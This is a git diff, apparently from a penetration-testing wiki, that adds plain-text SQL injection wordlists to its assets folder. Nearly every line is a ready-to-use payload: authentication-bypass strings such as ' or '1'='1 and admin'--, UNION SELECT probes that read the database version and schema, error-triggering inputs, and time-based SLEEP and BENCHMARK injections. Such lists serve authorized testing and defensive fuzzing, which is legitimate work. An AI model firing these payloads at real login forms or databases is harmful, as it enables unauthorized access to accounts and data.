+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or 0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+ffifdyop
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass.txt b/.gitbook/assets/sqli-authbypass.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or 0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-error.txt b/.gitbook/assets/sqli-error.txt
new file mode 100644
index 00000000000..693ccdd13c8
--- /dev/null
+++ b/.gitbook/assets/sqli-error.txt
@@ -0,0 +1,40 @@
+'asd
+')asd
+''asd
+'))asd
+`ads
+`)asd
+``asd
+`))asd
+,
+"asd
+")asd
+""asd
+"))asd
+/
+//
+\
+\\
+;ad
+%2527asd
+%2522asd
+-- -
+#
+/*
+1
+-1
+999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
+-999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
+asd
+|
+&
+||
+&&
+@
+%
+;
+>
+!"·$%&(=?¿'¡`<>);:_#-@
+SLEEP(5)
+SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
+SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR"*/ FROM some_table WHERE ex = ample
\ No newline at end of file
diff --git a/src/files/sqli-hashbypass.txt b/.gitbook/assets/sqli-hashbypass.txt
similarity index 100%
rename from src/files/sqli-hashbypass.txt
rename to .gitbook/assets/sqli-hashbypass.txt
diff --git a/.gitbook/assets/sqli-logic.txt b/.gitbook/assets/sqli-logic.txt
new file mode 100644
index 00000000000..6efb4fbff58
--- /dev/null
+++ b/.gitbook/assets/sqli-logic.txt
@@ -0,0 +1,82 @@
+true
+1
+1>0
+2-1
+0+1
+1*1
+1%2
+1 & 1
+1&1
+1 && 2
+1&&2
+-1 || 1
+-1||1
+-1 oR 1=1
+1 aND 1=1
+(1)oR(1=1)
+(1)aND(1=1)
+-1/**/oR/**/1=1
+1/**/aND/**/1=1
+1'
+1'>'0
+2'-'1
+0'+'1
+1'*'1
+1'%'2
+1'&'1'='1
+1'&&'2'='1
+-1'||'1'='1
+-1'oR'1'='1
+1'aND'1'='1
+1"
+1">"0
+2"-"1
+0"+"1
+1"*"1
+1"%"2
+1"&"1"="1
+1"&&"2"="1
+-1"||"1"="1
+-1"oR"1"="1
+1"aND"1"="1
+1`
+1`>`0
+2`-`1
+0`+`1
+1`*`1
+1`%`2
+1`&`1`=`1
+1`&&`2`=`1
+-1`||`1`=`1
+-1`oR`1`=`1
+1`aND`1`=`1
+1')>('0
+2')-('1
+0')+('1
+1')*('1
+1')%('2
+1')&'1'=('1
+1')&&'1'=('1
+-1')||'1'=('1
+-1')oR'1'=('1
+1')aND'1'=('1
+1")>("0
+2")-("1
+0")+("1
+1")*("1
+1")%("2
+1")&"1"=("1
+1")&&"1"=("1
+-1")||"1"=("1
+-1")oR"1"=("1
+1")aND"1"=("1
+1`)>(`0
+2`)-(`1
+0`)+(`1
+1`)*(`1
+1`)%(`2
+1`)&`1`=(`1
+1`)&&`1`=(`1
+-1`)||`1`=(`1
+-1`)oR`1`=(`1
+1`)aND`1`=(`1
diff --git a/.gitbook/assets/sqli-true.txt b/.gitbook/assets/sqli-true.txt
new file mode 100644
index 00000000000..d28f1dfac22
--- /dev/null
+++ b/.gitbook/assets/sqli-true.txt
@@ -0,0 +1,421 @@
+true
+'&'
+"&"
+'^'
+"^"
+'*'
+"*"
+0=0
+'='
+"="
+')&('
+")&("
+')^('
+")^("
+')*('
+")*("
+0)=(0
+')=('
+")=("
+'))&(('
+"))&(("
+'))^(('
+"))^(("
+'))*(('
+"))*(("
+0))=((0
+'))=(('
+"))=(("
+2'LIkE'3
+2"LIkE"3
+-3')LIkE('3
+-3")LIkE("3
+-3'))LIkE(('3
+-3"))LIkE(("3
+-3 oR 2=2
+-3' oR 2=2-- 2
+-3' oR 2=2#
+-3' oR 2=2/*
+-3" oR 2=2-- 2
+-3" oR 2=2#
+-3" oR 2=2/*
+-3 oR 2
+-3' oR 2-- 2
+-3' oR 2#
+-3' oR 2/*
+-3" oR 2-- 2
+-3" oR 2#
+-3" oR 2/*
+-3 oR 2>0
+-3' oR 2>0-- 2
+-3' oR 2>0#
+-3' oR 2>0/*
+-3" oR 2>0-- 2
+-3" oR 2>0#
+-3" oR 2>0/*
+-3 oR 0<2
+-3' oR 0<2-- 2
+-3' oR 0<2#
+-3' oR 0<2/*
+-3" oR 0<2-- 2
+-3" oR 0<2#
+-3" oR 0<2/*
+-3 oR 2 LIkE 2
+-3' oR 2 LIkE 2-- 2
+-3' oR 2 LIkE 2#
+-3' oR 2 LIkE 2/*
+-3" oR 2 LIkE 2-- 2
+-3" oR 2 LIkE 2#
+-3" oR 2 LIkE 2/*
+-3 oR '2'='2'
+-3' oR 2 oR '
+-3'oR'2'oR'
+-3" oR 2 oR "
+-3"oR"2"oR"
+-3 oR true
+-3' oR true-- 2
+-3' oR true#
+-3' oR true/*
+-3" oR true-- 2
+-3" oR true#
+-3" oR true/*
+-3'oR''+'2
+-3"oR""+"2
+-3'oR''-'-2
+-3"oR""-"-2
+-3'oR'2'&'2
+-3"oR"2"&"2
+-3'oR''^'2
+-3"oR""^"2
+-3'oR'2'*'2
+-3"oR"2"*"2
+-3'oR'2'>'0
+-3"oR"0"<"2
+-3'oR'2'='2
+-3"oR"2"="2
+-3/**/oR/**/2=2
+-3'/**/oR/**/2=2#
+-3'/**/oR/**/2=2/*
+-3"/**/oR/**/2=2#
+-3"/**/oR/**/2=2/*
+-3/**/oR/**/2
+-3'/**/oR/**/2#
+-3'/**/oR/**/2/*
+-3"/**/oR/**/2#
+-3"/**/oR/**/2/*
+-3/**/oR/**/2>0
+-3'/**/oR/**/2>0#
+-3'/**/oR/**/2>0/*
+-3"/**/oR/**/2>0#
+-3"/**/oR/**/2>0/*
+-3/**/oR/**/0<2
+-3'/**/oR/**/0<2#
+-3'/**/oR/**/0<2/*
+-3"/**/oR/**/0<2#
+-3"/**/oR/**/0<2/*
+-3/**/oR/**/2/**/LIkE/**/2
+-3'/**/oR/**/2/**/LIkE/**/2#
+-3'/**/oR/**/2/**/LIkE/**/2/*
+-3"/**/oR/**/2/**/LIkE/**/2#
+-3"/**/oR/**/2/**/LIkE/**/2/*
+-3/**/oR/**/'2'='2'
+-3'/**/oR/**/2/**/oR/**/'
+-3"/**/oR/**/2/**/oR/**/"
+-3/**/oR/**/true
+-3'/**/oR/**/true#
+-3'/**/oR/**/true/*
+-3"/**/oR/**/true#
+-3"/**/oR/**/true/*
+-3||2=2
+-3'||2=2-- 2
+-3'||2=2#
+-3'||2=2/*
+-3"||2=2-- 2
+-3"||2=2#
+-3"||2=2/*
+-3||2
+-3'||2-- 2
+-3'||2#
+-3'||2/*
+-3"||2-- 2
+-3"||2#
+-3"||2/*
+-3||2>0
+-3'||2>0-- 2
+-3'||2>0#
+-3'||2>0/*
+-3"||2>0-- 2
+-3"||2>0#
+-3"||2>0/*
+-3||0<2
+-3'||0<2-- 2
+-3'||0<2#
+-3'||0<2/*
+-3"||0<2-- 2
+-3"||0<2#
+-3"||0<2/*
+-3||(2)LIkE(2)
+-3'||(2)LIkE(2)-- 2
+-3'||(2)LIkE(2)#
+-3'||(2)LIkE(2)/*
+-3"||(2)LIkE(2)-- 2
+-3"||(2)LIkE(2)#
+-3"||(2)LIkE(2)/*
+-3||'2'='2'
+-3'||'2'='2
+-3"||"2"="2
+-3'||2||'
+-3'||'2'||'
+-3"||2||"
+-3"||"2"||"
+-3||true
+-3'||true-- 2
+-3'||true#
+-3'||true/*
+-3"||true-- 2
+-3"||true#
+-3"||true/*
+-3'||''+'2
+-3"||""+"2
+-3'||''-'-2
+-3"||""-"-2
+-3'||'2'&'2
+-3"||"2"&"2
+-3'||''^'2
+-3"||""^"2
+-3'||'2'*'2
+-3"||"2"*"2
+(-3)oR(2)=(2)
+-3'oR(2)=(2)#
+-3'oR(2)=(2)/*
+-3"oR(2)=(2)#
+-3"oR(2)=(2)/*
+(-3)oR(2)
+-3'oR(2)#
+-3'oR(2)/*
+-3"oR(2)#
+-3"oR(2)/*
+(-3)oR(2)LIkE(2)
+-3'oR(2)LIkE(2)#
+-3'oR(2)LIkE(2)/*
+-3"oR(2)LIkE(2)#
+-3"oR(2)LIkE(2)/*
+(-3)oR'2'='2'
+-3"oR"(2)"="(2)
+-3'oR(2)oR'
+-3"oR(2)oR"
+(-3)oR(true)
+-3'oR(true)#
+-3'oR(true)/*
+-3"oR(true)#
+-3"oR(true)/*
+-3)oR(2)=(2
+-3')oR(2)=2-- 2
+-3')oR(2)=2#
+-3')oR(2)=2/*
